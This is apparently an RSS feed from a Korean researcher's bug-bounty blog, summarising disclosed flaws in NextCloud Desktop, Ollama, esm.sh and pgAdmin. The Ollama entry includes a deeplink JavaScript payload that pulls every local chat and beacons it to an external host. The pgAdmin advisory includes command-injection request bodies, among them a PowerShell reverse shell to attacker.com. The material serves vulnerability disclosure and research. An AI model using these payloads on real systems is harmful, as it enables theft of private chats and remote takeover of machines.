<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Py0zz1 W0r1d</title>
    <link>https://py0zz1.tistory.com/</link>
    <description>표찌(pyozzi) 개인 연구 기록용 블로그</description>
    <language>ko</language>
    <pubDate>Fri, 21 Aug 2026 02:06:30 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>pyozzi</managingEditor>
    <item>
      <title>NextCloud Desktop, Credential Disclosure via Unvalidated directDownloadUrl</title>
      <link>https://py0zz1.tistory.com/entry/NextCloud-Desktop-Credential-Disclosure-via-Unvalidated-directDownloadUrl</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hackerone.com/reports/3400143&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://hackerone.com/reports/3400143&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1776098590248&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Nextcloud disclosed on HackerOne: Credential Disclosure via...&quot; data-og-description=&quot;&quot; data-og-host=&quot;hackerone.com&quot; data-og-source-url=&quot;https://hackerone.com/reports/3400143&quot; data-og-url=&quot;https://hackerone.com/reports/3400143&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/vobCC/dJMb8WMqUri/tpFnxXEqeNJAykps9i70LK/img.png?width=260&amp;amp;height=251&amp;amp;face=0_0_260_251,https://scrap.kakaocdn.net/dn/dRZe3v/dJMb83kufsf/uQJsqCZBm0WyF0nmCoBplk/img.png?width=260&amp;amp;height=251&amp;amp;face=0_0_260_251&quot;&gt;&lt;a href=&quot;https://hackerone.com/reports/3400143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://hackerone.com/reports/3400143&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/vobCC/dJMb8WMqUri/tpFnxXEqeNJAykps9i70LK/img.png?width=260&amp;amp;height=251&amp;amp;face=0_0_260_251,https://scrap.kakaocdn.net/dn/dRZe3v/dJMb83kufsf/uQJsqCZBm0WyF0nmCoBplk/img.png?width=260&amp;amp;height=251&amp;amp;face=0_0_260_251');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Nextcloud disclosed on HackerOne: Credential Disclosure via...&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;hackerone.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;div style=&quot;background-color: #ffffff; color: #494c5d; text-align: start;&quot;&gt;The Nextcloud Desktop Client automatically includes user credentials (Authorization header with username:password in Base64) when downloading files via the directDownloadUrl feature. A malicious Nextcloud server can exploit this by setting directDownloadUrl to an attacker-controlled URL, causing the client to leak credentials to the attacker's server.&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #494c5d; text-align: start;&quot;&gt;&lt;b&gt;Root Cause:&lt;/b&gt; The client fails to validate the origin of directDownloadUrl and does not set DontAddCredentialsAttribute for cross-origin requests, allowing HttpCredentialsAccessManager to automatically inject Authorization headers to any URL specified by the server, including attacker-controlled domains.&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #494c5d; text-align: start;&quot;&gt;---&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #494c5d; text-align: start;&quot;&gt;- nextcloud desktop에서 파일 다운로드할 때, cross-origin으로 Authorization 헤더가 제거되지 않고 전달되는 취약점&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #494c5d; text-align: start;&quot;&gt;- nextcloud는 cliend side e2ee(end-to-end-encryption)를 지원함(서버도 임의 열람 불가)&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #494c5d; text-align: start;&quot;&gt;- 공격자는 탈취한 크레덴셜로 암호화되어 저장된 민감 데이터를 임의로 read/wrtie할 수 있음&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #494c5d; text-align: start;&quot;&gt;&amp;nbsp;&lt;/div&gt;</description>
      <category>Bug Bounty</category>
      <category>nextcloud</category>
      <author>pyozzi</author>
      <guid isPermaLink="true">https://py0zz1.tistory.com/208</guid>
      <comments>https://py0zz1.tistory.com/entry/NextCloud-Desktop-Credential-Disclosure-via-Unvalidated-directDownloadUrl#entry208comment</comments>
      <pubDate>Tue, 14 Apr 2026 01:58:42 +0900</pubDate>
    </item>
    <item>
      <title>Ollama, Javascript Injection via Deeplink</title>
      <link>https://py0zz1.tistory.com/entry/Ollama-Javascript-Injection-via-Deeplink</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://huntr.com/bounties/d515f43a-c9d9-4e7b-95f6-e05516717f2a&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://huntr.com/bounties/d515f43a-c9d9-4e7b-95f6-e05516717f2a&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1774202462100&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;huntr - The world&amp;rsquo;s first bug bounty platform for AI/ML&quot; data-og-description=&quot;&quot; data-og-host=&quot;huntr.com&quot; data-og-source-url=&quot;https://huntr.com/bounties/d515f43a-c9d9-4e7b-95f6-e05516717f2a&quot; data-og-url=&quot;https://huntr.com/bounties/d515f43a-c9d9-4e7b-95f6-e05516717f2a&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://huntr.com/bounties/d515f43a-c9d9-4e7b-95f6-e05516717f2a&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://huntr.com/bounties/d515f43a-c9d9-4e7b-95f6-e05516717f2a&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;huntr - The world&amp;rsquo;s first bug bounty platform for AI/ML&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;huntr.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1774202484249&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// app/cmd/app/webview.go:468-472
} else {
    w.webview.Eval(fmt.Sprintf(`
        history.pushState({}, '', '%s');
    `, path))
    showWindow(w.webview.Window())
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. ollama:// 딥링크에서 경로를 sanitize 하지 않고 Eval()에 사용함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 때문에 ollama webview 위에서 임의의 자바스크립트 실행 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. ollama는 로컬에 11434로 웹서버를 띄워서 api를 제공함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. JS로 로컬 chat api를 찔러서 지난 채팅기록 모두 가져오기 가능, 계정 토큰 가져올 수 있음&lt;/p&gt;
&lt;pre class=&quot;awk&quot; style=&quot;background-color: #000000; color: #e6edf3; text-align: start;&quot;&gt;&lt;code&gt;ollama:///x');var data={chats:[]};fetch('//127.0.0.1:'+location.port+'/api/v1/chats').then(r=&amp;gt;r.json()).then(result=&amp;gt;{var chatPromises=result.chatInfos.map(c=&amp;gt;fetch('//127.0.0.1:'+location.port+'/api/v1/chat/'+c.id).then(r=&amp;gt;r.json()));return Promise.all(chatPromises)}).then(fullChats=&amp;gt;{data.chats=fullChats;navigator.sendBeacon('//REDACTED/full',JSON.stringify(data));});/////////&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Bug Bounty</category>
      <category>ollama</category>
      <author>pyozzi</author>
      <guid isPermaLink="true">https://py0zz1.tistory.com/207</guid>
      <comments>https://py0zz1.tistory.com/entry/Ollama-Javascript-Injection-via-Deeplink#entry207comment</comments>
      <pubDate>Mon, 23 Mar 2026 03:04:24 +0900</pubDate>
    </item>
    <item>
      <title>LLM 서비스 취약점 분석 자동화 #2</title>
      <link>https://py0zz1.tistory.com/entry/LLM-%EC%84%9C%EB%B9%84%EC%8A%A4-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D-%EC%9E%90%EB%8F%99%ED%99%94-2</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://toss.tech/article/vulnerability-analysis-automation-2&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://toss.tech/article/vulnerability-analysis-automation-2&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1774202091359&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;LLM을 이용한 서비스 취약점 분석 자동화 #2&quot; data-og-description=&quot;보안 분석가라면 누구나 한 번쯤 상상했을 &amp;lsquo;해줘&amp;rsquo;로 취약점 찾기. 그 경험을 공유해 드립니다.&quot; data-og-host=&quot;toss.tech&quot; data-og-source-url=&quot;https://toss.tech/article/vulnerability-analysis-automation-2&quot; data-og-url=&quot;https://toss.tech/article/vulnerability-analysis-automation-2&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/Mljlb/dJMb9frEOiJ/KmYOjoWQBI7UDqU0xh15Zk/img.jpg?width=1920&amp;amp;height=1080&amp;amp;face=0_0_1920_1080,https://scrap.kakaocdn.net/dn/UtjO3/dJMb9efdh2f/veuqmv6InZkdYNIXFINnV0/img.jpg?width=1920&amp;amp;height=1080&amp;amp;face=0_0_1920_1080&quot;&gt;&lt;a href=&quot;https://toss.tech/article/vulnerability-analysis-automation-2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://toss.tech/article/vulnerability-analysis-automation-2&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/Mljlb/dJMb9frEOiJ/KmYOjoWQBI7UDqU0xh15Zk/img.jpg?width=1920&amp;amp;height=1080&amp;amp;face=0_0_1920_1080,https://scrap.kakaocdn.net/dn/UtjO3/dJMb9efdh2f/veuqmv6InZkdYNIXFINnV0/img.jpg?width=1920&amp;amp;height=1080&amp;amp;face=0_0_1920_1080');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;LLM을 이용한 서비스 취약점 분석 자동화 #2&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;보안 분석가라면 누구나 한 번쯤 상상했을 &amp;lsquo;해줘&amp;rsquo;로 취약점 찾기. 그 경험을 공유해 드립니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;toss.tech&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC</category>
      <category>TOSS</category>
      <category>취약점 분석 자동화</category>
      <author>pyozzi</author>
      <guid isPermaLink="true">https://py0zz1.tistory.com/206</guid>
      <comments>https://py0zz1.tistory.com/entry/LLM-%EC%84%9C%EB%B9%84%EC%8A%A4-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D-%EC%9E%90%EB%8F%99%ED%99%94-2#entry206comment</comments>
      <pubDate>Mon, 23 Mar 2026 02:56:01 +0900</pubDate>
    </item>
    <item>
      <title>LLM 서비스 취약점 분석 자동화 #1</title>
      <link>https://py0zz1.tistory.com/entry/LLM-%EC%84%9C%EB%B9%84%EC%8A%A4-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D-%EC%9E%90%EB%8F%99%ED%99%94</link>
      <description>&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://toss.tech/article/vulnerability-analysis-automation-1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span&gt;https://toss.tech/article/vulnerability-analysis-automation-1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;LLM을 이용한 서비스 취약점 분석 자동화 #1&quot; data-ke-align=&quot;alignCenter&quot; data-og-description=&quot;보안 분석가라면 누구나 한 번쯤 상상했을 &amp;lsquo;해줘&amp;rsquo;로 취약점 찾기. 그 경험을 공유해 드립니다.&quot; data-og-host=&quot;toss.tech&quot; data-og-source-url=&quot;https://toss.tech/article/vulnerability-analysis-automation-1&quot; data-og-image=&quot;https://blog.kakaocdn.net/dna/dx9epv/hyZPG1uCBr/AAAAAAAAAAAAAAAAAAAAAPoI43HU0CgsJmDGewnRZQDdm2GxV4GD-9-sYBQy8Qzl/img.jpg?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1767193199&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=GFqR8plK7Rs3Kd89ofSHjO%2BEFMc%3D&quot; data-og-url=&quot;https://toss.tech/article/vulnerability-analysis-automation-1&quot;&gt;&lt;a href=&quot;https://toss.tech/article/vulnerability-analysis-automation-1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://toss.tech/article/vulnerability-analysis-automation-1&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://blog.kakaocdn.net/dna/dx9epv/hyZPG1uCBr/AAAAAAAAAAAAAAAAAAAAAPoI43HU0CgsJmDGewnRZQDdm2GxV4GD-9-sYBQy8Qzl/img.jpg?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1767193199&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=GFqR8plK7Rs3Kd89ofSHjO%2BEFMc%3D');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;LLM을 이용한 서비스 취약점 분석 자동화 #1&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;보안 분석가라면 누구나 한 번쯤 상상했을 &amp;lsquo;해줘&amp;rsquo;로 취약점 찾기. 그 경험을 공유해 드립니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;toss.tech&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC</category>
      <category>TOSS</category>
      <category>취약점 분석 자동화</category>
      <author>pyozzi</author>
      <guid isPermaLink="true">https://py0zz1.tistory.com/205</guid>
      <comments>https://py0zz1.tistory.com/entry/LLM-%EC%84%9C%EB%B9%84%EC%8A%A4-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D-%EC%9E%90%EB%8F%99%ED%99%94#entry205comment</comments>
      <pubDate>Thu, 25 Dec 2025 20:46:55 +0900</pubDate>
    </item>
    <item>
      <title>Arbitrary file write via tarslip in esm.sh (CVE-2025-65025)</title>
      <link>https://py0zz1.tistory.com/entry/Arbitrary-file-write-via-tarslip-in-esmsh-CVE-2025-65025</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;Arbitrary file write via tarslip&quot; data-ke-align=&quot;alignCenter&quot; data-og-description=&quot;### Summary The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction. An attacker can craft a malicious NPM package containing speci...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw&quot; data-og-image=&quot;https://blog.kakaocdn.net/dna/SJUGm/hyZOcyI8t7/AAAAAAAAAAAAAAAAAAAAAHyJZ8Q0lgDNuko392XkywjhMRM3W2MYW0Wm6msb3f5Z/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1772290799&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=9naGVJQ2KLsxGF5xUWRceXGywEo%3D&quot; data-og-url=&quot;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw&quot;&gt;&lt;a href=&quot;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw&quot; target=&quot;_blank&quot; data-source-url=&quot;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw&quot;&gt;&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://blog.kakaocdn.net/dna/SJUGm/hyZOcyI8t7/AAAAAAAAAAAAAAAAAAAAAHyJZ8Q0lgDNuko392XkywjhMRM3W2MYW0Wm6msb3f5Z/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1772290799&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=9naGVJQ2KLsxGF5xUWRceXGywEo%3D')&quot;&gt; &lt;/div&gt;&lt;div class=&quot;og-text&quot;&gt;&lt;p class=&quot;og-title&quot;&gt;Arbitrary file write via tarslip&lt;/p&gt;&lt;p class=&quot;og-desc&quot;&gt;### Summary The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction. An attacker can craft a malicious NPM package containing speci...&lt;/p&gt;&lt;p class=&quot;og-host&quot;&gt;github.com&lt;/p&gt;&lt;/div&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Bug Bounty</category>
      <category>esm.sh</category>
      <author>pyozzi</author>
      <guid isPermaLink="true">https://py0zz1.tistory.com/204</guid>
      <comments>https://py0zz1.tistory.com/entry/Arbitrary-file-write-via-tarslip-in-esmsh-CVE-2025-65025#entry204comment</comments>
      <pubDate>Wed, 19 Nov 2025 07:09:18 +0900</pubDate>
    </item>
    <item>
      <title>JS Template Literal Injection in esm.sh (CVE-2025-65026)</title>
      <link>https://py0zz1.tistory.com/entry/JS-Template-Literal-Injection-in-esmsh-CVE-2025-65026</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;JS Template Literal Injection in CSS-to-JavaScript&quot; data-ke-align=&quot;alignCenter&quot; data-og-description=&quot;### Summary The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the `?modu...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp&quot; data-og-image=&quot;https://blog.kakaocdn.net/dna/hIrbQ/hyZNBMCJ4I/AAAAAAAAAAAAAAAAAAAAAPzXw7-ZRDtD5oQx0Dqsj2zd9z7K4Igrzf36AkjLJhUh/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1772290799&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=jfQdDIzOIiGKAlGA58Xe4Kd%2F57Q%3D&quot; data-og-url=&quot;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp&quot;&gt;&lt;a href=&quot;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp&quot; target=&quot;_blank&quot; data-source-url=&quot;https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp&quot;&gt;&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://blog.kakaocdn.net/dna/hIrbQ/hyZNBMCJ4I/AAAAAAAAAAAAAAAAAAAAAPzXw7-ZRDtD5oQx0Dqsj2zd9z7K4Igrzf36AkjLJhUh/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&amp;amp;expires=1772290799&amp;amp;allow_ip=&amp;amp;allow_referer=&amp;amp;signature=jfQdDIzOIiGKAlGA58Xe4Kd%2F57Q%3D')&quot;&gt; &lt;/div&gt;&lt;div class=&quot;og-text&quot;&gt;&lt;p class=&quot;og-title&quot;&gt;JS Template Literal Injection in CSS-to-JavaScript&lt;/p&gt;&lt;p class=&quot;og-desc&quot;&gt;### Summary The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the `?modu...&lt;/p&gt;&lt;p class=&quot;og-host&quot;&gt;github.com&lt;/p&gt;&lt;/div&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Bug Bounty</category>
      <category>esm.sh</category>
      <author>pyozzi</author>
      <guid isPermaLink="true">https://py0zz1.tistory.com/203</guid>
      <comments>https://py0zz1.tistory.com/entry/JS-Template-Literal-Injection-in-esmsh-CVE-2025-65026#entry203comment</comments>
      <pubDate>Wed, 19 Nov 2025 07:06:29 +0900</pubDate>
    </item>
    <item>
      <title>Command Injection in pgAdmin for Windows (CVE-2025-12763)</title>
      <link>https://py0zz1.tistory.com/entry/Remote-Code-Execution-in-pgAdmin-for-Windows-CVE-2025-12763</link>
      <description>&lt;h1&gt;Summary&lt;/h1&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Command Injection vulnerability occurs in pgAdmin4 running on Windows environment due to the use of &lt;code&gt;shell=True&lt;/code&gt; parameter in &lt;code&gt;subprocess.Popen()&lt;/code&gt; when executing backup/restore processes. Attackers can execute arbitrary system commands through file path input.&lt;/p&gt;
&lt;h1&gt;Details&lt;/h1&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Reproduce step:&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1.Login to pgAdmin4 on Windows environment&lt;br /&gt;2.Connect to a database server&lt;br /&gt;3.Select Restore function&lt;br /&gt;4.Send the following body to POST &lt;code&gt;/restore/job/&amp;lt;server_id&amp;gt;&lt;/code&gt; endpoint:&lt;/p&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;{
    &quot;file&quot;: &quot;backup.sql &amp;amp; calc.exe&quot;,
    &quot;format&quot;: &quot;custom&quot;,
    &quot;database&quot;: &quot;testdb&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5.Windows Calculator will be executed, confirming arbitrary command execution is possible&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Issue Code:&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;web/pgadmin/misc/bgprocess/process_executor.py (Line 319-330):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def execute(argv):
    &quot;&quot;&quot;
    This function will execute the background process
    &quot;&quot;&quot;
    command = argv[1:]
    args = dict()

    # ... skip ...

    kwargs = dict()
    kwargs['close_fds'] = False
    kwargs['shell'] = True if _IS_WIN else False  # &amp;lt;-- Vulnerability: shell=True on Windows
    kwargs['env'] = os.environ.copy()

    process = Popen(
        command, stdout=PIPE, stderr=PIPE, stdin=None, **kwargs
    )&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;web/pgadmin/misc/bgprocess/processes.py (Line 346-354):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;if os.name == 'nt':  # Windows
    DETACHED_PROCESS = 0x00000008
    from subprocess import CREATE_NEW_PROCESS_GROUP

    # ... skip ...

    p = Popen(
        cmd,  # cmd contains user input
        close_fds=False,
        env=env,
        stdout=stdout.fileno(),
        stderr=stderr.fileno(),
        stdin=stdin.fileno(),
        creationflags=(CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS)
    )&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When &lt;code&gt;shell=True&lt;/code&gt; is used on Windows, commands are executed through &lt;code&gt;cmd.exe /c&lt;/code&gt;, which interprets shell metacharacters (&lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, &lt;code&gt;||&lt;/code&gt;). Without validation of user input, command injection is possible.&lt;/p&gt;
&lt;h1&gt;Proof of Concept (PoC) - Calculator Execution&lt;/h1&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. Simple Command Execution (Calculator)&lt;/h3&gt;
&lt;pre class=&quot;stata&quot;&gt;&lt;code&gt;POST /restore/job/1
{
    &quot;file&quot;: &quot;C:\\backup.sql &amp;amp; calc.exe&quot;,
    &quot;format&quot;: &quot;custom&quot;,
    &quot;database&quot;: &quot;postgres&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Result: Windows Calculator is executed&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. File Creation&lt;/h3&gt;
&lt;pre class=&quot;stata&quot;&gt;&lt;code&gt;POST /restore/job/1
{
    &quot;file&quot;: &quot;backup.sql &amp;amp; echo HACKED &amp;gt; C:\\Windows\\Temp\\poc.txt&quot;,
    &quot;format&quot;: &quot;custom&quot;,
    &quot;database&quot;: &quot;postgres&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Result: &lt;code&gt;C:\Windows\Temp\poc.txt&lt;/code&gt; file is created with &quot;HACKED&quot; content&lt;/p&gt;
&lt;h1&gt;Proof of Concept (PoC) - Reverse Shell&lt;/h1&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;PowerShell Reverse Shell&lt;/h3&gt;
&lt;pre class=&quot;powershell&quot;&gt;&lt;code&gt;POST /restore/job/1
{
    &quot;file&quot;: &quot;backup.sql &amp;amp; powershell -NoP -NonI -W Hidden -Exec Bypass -Command \&quot;$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '&amp;gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\&quot;&quot;,
    &quot;format&quot;: &quot;custom&quot;,
    &quot;database&quot;: &quot;postgres&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Impact&lt;/h1&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Authenticated attackers can execute arbitrary commands on Windows systems.&lt;/p&gt;
&lt;h1&gt;Remediation&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In the patched version 9.10, the vulnerability was addressed by removing the &lt;code&gt;shell=True&lt;/code&gt; option.&lt;br /&gt;&lt;a href=&quot;https://github.com/pgadmin-org/pgadmin4/commit/e374edc69239b3e02ecde895e27d9f9e488b87ee&quot;&gt;https://github.com/pgadmin-org/pgadmin4/commit/e374edc69239b3e02ecde895e27d9f9e488b87ee&lt;/a&gt;&lt;/p&gt;</description>
      <category>Bug Bounty</category>
      <author>pyozzi</author>
